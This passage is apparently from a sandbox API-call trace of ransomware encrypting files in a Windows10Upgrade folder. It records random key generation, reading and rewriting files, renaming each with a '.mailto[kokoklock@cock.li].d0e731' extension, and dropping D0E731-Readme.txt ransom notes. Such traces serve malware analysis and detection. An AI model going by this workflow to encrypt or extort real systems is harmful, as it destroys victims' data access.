Flags=0x0, BaseAddress=0x3479a60) returned 1 [0076.351] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478bc0) returned 1 [0076.351] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0076.351] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0076.351] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478bc0 [0076.351] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478bc0) returned 1 [0076.351] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0076.351] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0076.351] ReadFile (in: hFile=0x9f0, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x5d7, lpNumberOfBytesRead=0x1e03fa6c, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1e03fa6c*=0x5d7, lpOverlapped=0x0) returned 1 [0076.351] SetFilePointerEx (in: hFile=0x9f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e03fa34 | out: lpNewFilePointer=0x0) returned 1 [0076.351] WriteFile (in: hFile=0x9f0, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x5d7, lpNumberOfBytesWritten=0x1e03fa68, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1e03fa68*=0x5d7, lpOverlapped=0x0) returned 1 [0076.352] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478bc0 [0076.352] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478e90 [0076.352] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478e90) returned 1 [0076.352] WriteFile (in: hFile=0x9f0, lpBuffer=0x3478bc0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1e03fa64, lpOverlapped=0x0 | out: lpBuffer=0x3478bc0*, lpNumberOfBytesWritten=0x1e03fa64*=0x20, lpOverlapped=0x0) returned 1 [0076.352] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478bc0) returned 1 [0076.352] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0076.352] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0076.352] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0076.352] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0076.352] WriteFile (in: hFile=0x9f0, lpBuffer=0x3479048*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1e03fa90, lpOverlapped=0x0 | out: lpBuffer=0x3479048*, lpNumberOfBytesWritten=0x1e03fa90*=0x8, lpOverlapped=0x0) returned 1 [0076.352] WriteFile (in: hFile=0x9f0, lpBuffer=0x1e03faa8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1e03fa90, lpOverlapped=0x0 | out: lpBuffer=0x1e03faa8*, lpNumberOfBytesWritten=0x1e03fa90*=0x4, lpOverlapped=0x0) returned 1 [0076.352] WriteFile (in: hFile=0x9f0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1e03fa90, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1e03fa90*=0x4, lpOverlapped=0x0) returned 1 [0076.353] WriteFile (in: hFile=0x9f0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1e03fa90, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1e03fa90*=0x6c, lpOverlapped=0x0) returned 1 [0076.353] WriteFile (in: hFile=0x9f0, lpBuffer=0x3478c88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1e03fa90, lpOverlapped=0x0 | out: lpBuffer=0x3478c88*, lpNumberOfBytesWritten=0x1e03fa90*=0x20, lpOverlapped=0x0) returned 1 [0076.353] WriteFile (in: hFile=0x9f0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1e03fa90, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1e03fa90*=0x4, lpOverlapped=0x0) returned 1 [0076.353] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478c88) returned 1 [0076.353] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478c60) returned 1 [0076.353] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479048) returned 1 [0076.353] CloseHandle (hObject=0x9f0) returned 1 [0076.353] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa0) returned 0x33e69c0 [0076.353] wcscpy (in: _Dest=0x33e69c0, _Source="C:\\Windows10Upgrade\\resources\\i386\\nxquery.inf" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386\\nxquery.inf") returned="C:\\Windows10Upgrade\\resources\\i386\\nxquery.inf" [0076.353] wcscat (in: _Dest=0x33e69c0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386\\nxquery.inf.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\i386\\nxquery.inf.mailto[kokoklock@cock.li].d0e731" [0076.353] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\i386\\nxquery.inf" (normalized: "c:\\windows10upgrade\\resources\\i386\\nxquery.inf"), lpNewFileName="C:\\Windows10Upgrade\\resources\\i386\\nxquery.inf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\i386\\nxquery.inf.mailto[kokoklock@cock.li].d0e731")) returned 1 [0076.354] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\nxquery.inf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0076.354] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e69c0) returned 1 [0076.354] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\nxquery.inf", dwFileAttributes=0x20) returned 0 [0076.354] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6c) returned 0x3479ad8 [0076.354] wcscpy (in: _Dest=0x3479ad8, _Source="C:\\Windows10Upgrade\\resources\\i386\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386\\") returned="C:\\Windows10Upgrade\\resources\\i386\\" [0076.354] wcscat (in: _Dest=0x3479ad8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\i386\\D0E731-Readme.txt" [0076.354] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\i386\\d0e731-readme.txt")) returned 0x20 [0076.354] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479ad8) returned 1 [0076.354] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426d90) returned 1 [0076.354] RtlExitUserThread (Status=0x1) Thread: id = 806 os_tid = 0x1100 [0076.358] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\BiosBlocks.xml" (normalized: "c:\\windows10upgrade\\resources\\amd64\\biosblocks.xml")) returned 0x20 [0076.360] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\BiosBlocks.xml", dwFileAttributes=0x20) returned 1 [0076.361] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\BiosBlocks.xml" (normalized: "c:\\windows10upgrade\\resources\\amd64\\biosblocks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9f0 [0076.362] GetFileSizeEx (in: hFile=0x9f0, lpFileSize=0x1e0bfae4 | out: lpFileSize=0x1e0bfae4*=93884) returned 1 [0076.362] SetFilePointerEx (in: hFile=0x9f0, liDistanceToMove=0x16eb8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.362] ReadFile (in: hFile=0x9f0, lpBuffer=0x1e0bfab8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1e0bfab4, lpOverlapped=0x0 | out: lpBuffer=0x1e0bfab8*, lpNumberOfBytesRead=0x1e0bfab4*=0x4, lpOverlapped=0x0) returned 1 [0076.365] SetFilePointerEx (in: hFile=0x9f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.365] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478e90 [0076.365] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479048 [0076.365] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479548 [0076.365] NtQuerySystemTime (in: CurrentTime=0x1e0bfa90 | out: CurrentTime=0x1e0bfa90*=132121176342534369) returned 0x0 [0076.365] RtlRandom (in: Seed=0x1e0bfa9c | out: Seed=0x1e0bfa9c) returned 0xfe201fae [0076.365] RtlRandom (in: Seed=0x1e0bfa9c | out: Seed=0x1e0bfa9c) returned 0x7cf58829 [0076.365] RtlRandom (in: Seed=0x1e0bfa9c | out: Seed=0x1e0bfa9c) returned 0xff8d34b7 [0076.365] RtlRandom (in: Seed=0x1e0bfa9c | out: Seed=0x1e0bfa9c) returned 0x94d7804f [0076.365] RtlRandom (in: Seed=0x1e0bfa9c | out: Seed=0x1e0bfa9c) returned 0xae1ab3dd [0076.365] RtlRandom (in: Seed=0x1e0bfa9c | out: Seed=0x1e0bfa9c) returned 0x5106a878 [0076.365] RtlRandom (in: Seed=0x1e0bfa9c | out: Seed=0x1e0bfa9c) returned 0xe3dafc5a [0076.365] RtlRandom (in: Seed=0x1e0bfa9c | out: Seed=0x1e0bfa9c) returned 0xb7307165 [0076.365] RtlRandom (in: Seed=0x1e0bfa9c | out: Seed=0x1e0bfa9c) returned 0x6244a6b7 [0076.365] RtlRandom (in: Seed=0x1e0bfa9c | out: Seed=0x1e0bfa9c) returned 0x9ad68596 [0076.366] RtlRandom (in: Seed=0x1e0bfa9c | out: Seed=0x1e0bfa9c) returned 0xee41e9a4 [0076.366] RtlRandom (in: Seed=0x1e0bfa9c | out: Seed=0x1e0bfa9c) returned 0x7b714471 [0076.366] RtlRandom (in: Seed=0x1e0bfa9c | out: Seed=0x1e0bfa9c) returned 0xf884c6c4 [0076.366] RtlRandom (in: Seed=0x1e0bfa9c | out: Seed=0x1e0bfa9c) returned 0xa174b0d [0076.366] RtlRandom (in: Seed=0x1e0bfa9c | out: Seed=0x1e0bfa9c) returned 0xb11116de [0076.366] RtlRandom (in: Seed=0x1e0bfa9c | out: Seed=0x1e0bfa9c) returned 0xec57ad52 [0076.366] RtlRandom (in: Seed=0x1e0bfa9c | out: Seed=0x1e0bfa9c) returned 0x19bfa794 [0076.366] RtlRandom (in: Seed=0x1e0bfa9c | out: Seed=0x1e0bfa9c) returned 0xdca2ade4 [0076.366] RtlRandom (in: Seed=0x1e0bfa9c | out: Seed=0x1e0bfa9c) returned 0x47a54aeb [0076.366] RtlRandom (in: Seed=0x1e0bfa9c | out: Seed=0x1e0bfa9c) returned 0x63418a51 [0076.366] RtlRandom (in: Seed=0x1e0bfa9c | out: Seed=0x1e0bfa9c) returned 0x490f8201 [0076.366] RtlRandom (in: Seed=0x1e0bfa9c | out: Seed=0x1e0bfa9c) returned 0x3411eecf [0076.366] RtlRandom (in: Seed=0x1e0bfa9c | out: Seed=0x1e0bfa9c) returned 0x9a8e139d [0076.366] RtlRandom (in: Seed=0x1e0bfa9c | out: Seed=0x1e0bfa9c) returned 0x4328f573 [0076.366] RtlRandom (in: Seed=0x1e0bfa9c | out: Seed=0x1e0bfa9c) returned 0xd1b6ffd1 [0076.366] RtlRandom (in: Seed=0x1e0bfa9c | out: Seed=0x1e0bfa9c) returned 0xdd85aea9 [0076.366] RtlRandom (in: Seed=0x1e0bfa9c | out: Seed=0x1e0bfa9c) returned 0x8ac69c91 [0076.366] RtlRandom (in: Seed=0x1e0bfa9c | out: Seed=0x1e0bfa9c) returned 0x9d465fc2 [0076.366] RtlRandom (in: Seed=0x1e0bfa9c | out: Seed=0x1e0bfa9c) returned 0x66125848 [0076.366] RtlRandom (in: Seed=0x1e0bfa9c | out: Seed=0x1e0bfa9c) returned 0xc5a07920 [0076.366] RtlRandom (in: Seed=0x1e0bfa9c | out: Seed=0x1e0bfa9c) returned 0xe045d3ad [0076.366] RtlRandom (in: Seed=0x1e0bfa9c | out: Seed=0x1e0bfa9c) returned 0x42a82914 [0076.378] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0076.378] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478e90) returned 1 [0076.378] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0076.378] SetFilePointerEx (in: hFile=0x9f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.378] ReadFile (in: hFile=0x9f0, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1e0bfa68, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1e0bfa68*=0x4096, lpOverlapped=0x0) returned 1 [0076.379] SetFilePointerEx (in: hFile=0x9f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.379] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0076.379] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479ad8 [0076.379] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478e90 [0076.379] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478e90) returned 1 [0076.379] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0076.380] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478e90 [0076.380] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34797c8 [0076.380] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34797c8) returned 1 [0076.380] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479ad8) returned 1 [0076.380] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0076.380] WriteFile (in: hFile=0x9f0, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1e0bfa68, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1e0bfa68*=0x4096, lpOverlapped=0x0) returned 1 [0076.380] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0076.380] SetFilePointerEx (in: hFile=0x9f0, liDistanceToMove=0x16ebc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.380] WriteFile (in: hFile=0x9f0, lpBuffer=0x3478e90*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1e0bfaa0, lpOverlapped=0x0 | out: lpBuffer=0x3478e90*, lpNumberOfBytesWritten=0x1e0bfaa0*=0x20, lpOverlapped=0x0) returned 1 [0076.380] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478e90) returned 1 [0076.380] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0076.380] WriteFile (in: hFile=0x9f0, lpBuffer=0x3479688*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1e0bfab4, lpOverlapped=0x0 | out: lpBuffer=0x3479688*, lpNumberOfBytesWritten=0x1e0bfab4*=0x8, lpOverlapped=0x0) returned 1 [0076.380] WriteFile (in: hFile=0x9f0, lpBuffer=0x1e0bfacc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1e0bfab4, lpOverlapped=0x0 | out: lpBuffer=0x1e0bfacc*, lpNumberOfBytesWritten=0x1e0bfab4*=0x4, lpOverlapped=0x0) returned 1 [0076.380] WriteFile (in: hFile=0x9f0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1e0bfab4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1e0bfab4*=0x4, lpOverlapped=0x0) returned 1 [0076.381] WriteFile (in: hFile=0x9f0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1e0bfab4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1e0bfab4*=0x6c, lpOverlapped=0x0) returned 1 [0076.381] WriteFile (in: hFile=0x9f0, lpBuffer=0x3479048*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1e0bfab4, lpOverlapped=0x0 | out: lpBuffer=0x3479048*, lpNumberOfBytesWritten=0x1e0bfab4*=0x20, lpOverlapped=0x0) returned 1 [0076.381] WriteFile (in: hFile=0x9f0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1e0bfab4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1e0bfab4*=0x4, lpOverlapped=0x0) returned 1 [0076.381] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479048) returned 1 [0076.381] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479570) returned 1 [0076.381] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479688) returned 1 [0076.381] CloseHandle (hObject=0x9f0) returned 1 [0076.381] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa8) returned 0x33f10f0 [0076.381] wcscpy (in: _Dest=0x33f10f0, _Source="C:\\Windows10Upgrade\\resources\\amd64\\BiosBlocks.xml" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64\\BiosBlocks.xml") returned="C:\\Windows10Upgrade\\resources\\amd64\\BiosBlocks.xml" [0076.381] wcscat (in: _Dest=0x33f10f0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64\\BiosBlocks.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\amd64\\BiosBlocks.xml.mailto[kokoklock@cock.li].d0e731" [0076.381] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\amd64\\BiosBlocks.xml" (normalized: "c:\\windows10upgrade\\resources\\amd64\\biosblocks.xml"), lpNewFileName="C:\\Windows10Upgrade\\resources\\amd64\\BiosBlocks.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\amd64\\biosblocks.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0076.382] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\BiosBlocks.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0076.382] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f10f0) returned 1 [0076.382] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\BiosBlocks.xml", dwFileAttributes=0x20) returned 0 [0076.382] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6e) returned 0x3479ad8 [0076.382] wcscpy (in: _Dest=0x3479ad8, _Source="C:\\Windows10Upgrade\\resources\\amd64\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64\\") returned="C:\\Windows10Upgrade\\resources\\amd64\\" [0076.382] wcscat (in: _Dest=0x3479ad8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\amd64\\D0E731-Readme.txt" [0076.382] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\amd64\\d0e731-readme.txt")) returned 0xffffffff [0076.382] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\amd64\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9f0 [0076.383] WriteFile (in: hFile=0x9f0, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x1e0bfab0, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x1e0bfab0*=0x481, lpOverlapped=0x0) returned 1 [0076.383] CloseHandle (hObject=0x9f0) returned 1 [0076.384] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479ad8) returned 1 [0076.384] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e8990) returned 1 [0076.384] RtlExitUserThread (Status=0x1) Thread: id = 807 os_tid = 0x1114 [0076.378] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\hwcompat.txt" (normalized: "c:\\windows10upgrade\\resources\\amd64\\hwcompat.txt")) returned 0x20 [0076.385] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\hwcompat.txt", dwFileAttributes=0x20) returned 1 [0076.385] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\hwcompat.txt" (normalized: "c:\\windows10upgrade\\resources\\amd64\\hwcompat.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9f0 [0076.385] GetFileSizeEx (in: hFile=0x9f0, lpFileSize=0x1e13fc4c | out: lpFileSize=0x1e13fc4c*=73135) returned 1 [0076.385] SetFilePointerEx (in: hFile=0x9f0, liDistanceToMove=0x11dab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.385] ReadFile (in: hFile=0x9f0, lpBuffer=0x1e13fc20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1e13fc1c, lpOverlapped=0x0 | out: lpBuffer=0x1e13fc20*, lpNumberOfBytesRead=0x1e13fc1c*=0x4, lpOverlapped=0x0) returned 1 [0076.387] SetFilePointerEx (in: hFile=0x9f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.387] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479688 [0076.387] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479570 [0076.387] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34797c8 [0076.387] NtQuerySystemTime (in: CurrentTime=0x1e13fbf8 | out: CurrentTime=0x1e13fbf8*=132121176342846572) returned 0x0 [0076.387] RtlRandom (in: Seed=0x1e13fc04 | out: Seed=0x1e13fc04) returned 0xd446acef [0076.387] RtlRandom (in: Seed=0x1e13fc04 | out: Seed=0x1e13fc04) returned 0x3a99e114 [0076.387] RtlRandom (in: Seed=0x1e13fc04 | out: Seed=0x1e13fc04) returned 0xe10bbf50 [0076.387] RtlRandom (in: Seed=0x1e13fc04 | out: Seed=0x1e13fc04) returned 0xbb415a4f [0076.387] RtlRandom (in: Seed=0x1e13fc04 | out: Seed=0x1e13fc04) returned 0xf6b11221 [0076.387] RtlRandom (in: Seed=0x1e13fc04 | out: Seed=0x1e13fc04) returned 0xa7d9a84b [0076.387] RtlRandom (in: Seed=0x1e13fc04 | out: Seed=0x1e13fc04) returned 0x32575eb2 [0076.387] RtlRandom (in: Seed=0x1e13fc04 | out: Seed=0x1e13fc04) returned 0x7893613e [0076.387] RtlRandom (in: Seed=0x1e13fc04 | out: Seed=0x1e13fc04) returned 0x4f08a469 [0076.387] RtlRandom (in: Seed=0x1e13fc04 | out: Seed=0x1e13fc04) returned 0x59e7732b [0076.387] RtlRandom (in: Seed=0x1e13fc04 | out: Seed=0x1e13fc04) returned 0x974cb522 [0076.387] RtlRandom (in: Seed=0x1e13fc04 | out: Seed=0x1e13fc04) returned 0x48e0f06c [0076.387] RtlRandom (in: Seed=0x1e13fc04 | out: Seed=0x1e13fc04) returned 0xaac4d37c [0076.387] RtlRandom (in: Seed=0x1e13fc04 | out: Seed=0x1e13fc04) returned 0xd0dd4f81 [0076.387] RtlRandom (in: Seed=0x1e13fc04 | out: Seed=0x1e13fc04) returned 0x6e040e28 [0076.387] RtlRandom (in: Seed=0x1e13fc04 | out: Seed=0x1e13fc04) returned 0xca496e03 [0076.387] RtlRandom (in: Seed=0x1e13fc04 | out: Seed=0x1e13fc04) returned 0xb56d9f8c [0076.387] RtlRandom (in: Seed=0x1e13fc04 | out: Seed=0x1e13fc04) returned 0xeb1e457b [0076.387] RtlRandom (in: Seed=0x1e13fc04 | out: Seed=0x1e13fc04) returned 0x46a24c38 [0076.387] RtlRandom (in: Seed=0x1e13fc04 | out: Seed=0x1e13fc04) returned 0x555fd4e4 [0076.387] RtlRandom (in: Seed=0x1e13fc04 | out: Seed=0x1e13fc04) returned 0xf0cf83e7 [0076.387] RtlRandom (in: Seed=0x1e13fc04 | out: Seed=0x1e13fc04) returned 0xa14a2bef [0076.388] RtlRandom (in: Seed=0x1e13fc04 | out: Seed=0x1e13fc04) returned 0x22ce65d2 [0076.388] RtlRandom (in: Seed=0x1e13fc04 | out: Seed=0x1e13fc04) returned 0x2249c4d2 [0076.388] RtlRandom (in: Seed=0x1e13fc04 | out: Seed=0x1e13fc04) returned 0x9441de9e [0076.388] RtlRandom (in: Seed=0x1e13fc04 | out: Seed=0x1e13fc04) returned 0xe333c05c [0076.388] RtlRandom (in: Seed=0x1e13fc04 | out: Seed=0x1e13fc04) returned 0x69062ea2 [0076.388] RtlRandom (in: Seed=0x1e13fc04 | out: Seed=0x1e13fc04) returned 0x2dca2155 [0076.388] RtlRandom (in: Seed=0x1e13fc04 | out: Seed=0x1e13fc04) returned 0xe0441c37 [0076.388] RtlRandom (in: Seed=0x1e13fc04 | out: Seed=0x1e13fc04) returned 0x515a4853 [0076.388] RtlRandom (in: Seed=0x1e13fc04 | out: Seed=0x1e13fc04) returned 0x91f30100 [0076.388] RtlRandom (in: Seed=0x1e13fc04 | out: Seed=0x1e13fc04) returned 0x35bb21a2 [0076.398] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0076.398] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479688) returned 1 [0076.398] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0076.398] SetFilePointerEx (in: hFile=0x9f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.399] ReadFile (in: hFile=0x9f0, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1e13fbd0, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1e13fbd0*=0x4096, lpOverlapped=0x0) returned 1 [0076.400] SetFilePointerEx (in: hFile=0x9f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.400] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0076.400] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0076.400] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479688 [0076.400] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479688) returned 1 [0076.401] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0076.401] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479688 [0076.401] 